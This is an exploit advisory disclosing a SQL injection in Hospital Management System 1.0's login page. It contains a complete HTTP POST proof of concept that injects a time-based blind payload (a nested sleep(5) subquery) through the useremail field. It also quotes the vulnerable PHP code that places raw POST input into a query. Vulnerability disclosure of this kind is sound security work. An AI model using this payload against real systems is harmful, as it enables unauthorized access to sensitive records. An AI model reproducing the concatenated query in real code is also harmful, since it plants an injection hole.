Hospital Management System 1.0 SQL Injection

`# Exploit Title: Hospital Management System - SQL Injection  
# Google Dork: N/A  
# Application: Hospital Management System  
# Date: 26.02.2024  
# Bugs: SQL Injection   
# Exploit Author: SoSPiro  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html  
# Version: 1.0  
# Tested on: Windows 10 64 bit Wampserver   
# CVE : N/A  
  
  
## Vulnerability Description:  
  
A security vulnerability has been identified in this web application due to the direct inclusion of user-input data into SQL queries, rendering it susceptible to SQL Injection attacks. This vulnerability may enable malicious actors to gain unauthorized access to sensitive information.  
  
  
## Proof of Concept (PoC):  
  
Below is an example of an attack that a malicious actor could execute to exploit this vulnerability.  
  
POST /Vaidya%20Mitra/vm/login.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 80  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/Vaidya%20Mitra/vm/login.php  
Cookie: _ga=GA1.1.2080672900.1708952048; _gid=GA1.1.1833914840.1708952048; PHPSESSID=18a16tga7k2glh7  
  
[email protected]'%2b(select*from(select(sleep(5)))a)%2b'&userpassword=test  
  
  
In this example, the payload appended to the useremail parameter aims to execute a sleep function, intentionally delaying the server's response time. Real-world attacks could involve more malicious operations.  
  
  
Request - Response foto: https://i.imgur.com/LxENLBz.png  
  
  
## Vulnerable code section:  
====================================================  
/Vaidya%20Mitra/vm/login.php  
  
$email = $_POST['useremail'];  
$password = $_POST['userpassword'];  
  
$result = $database->query("select * from webuser where email='$email'");  
  
  
  
  
`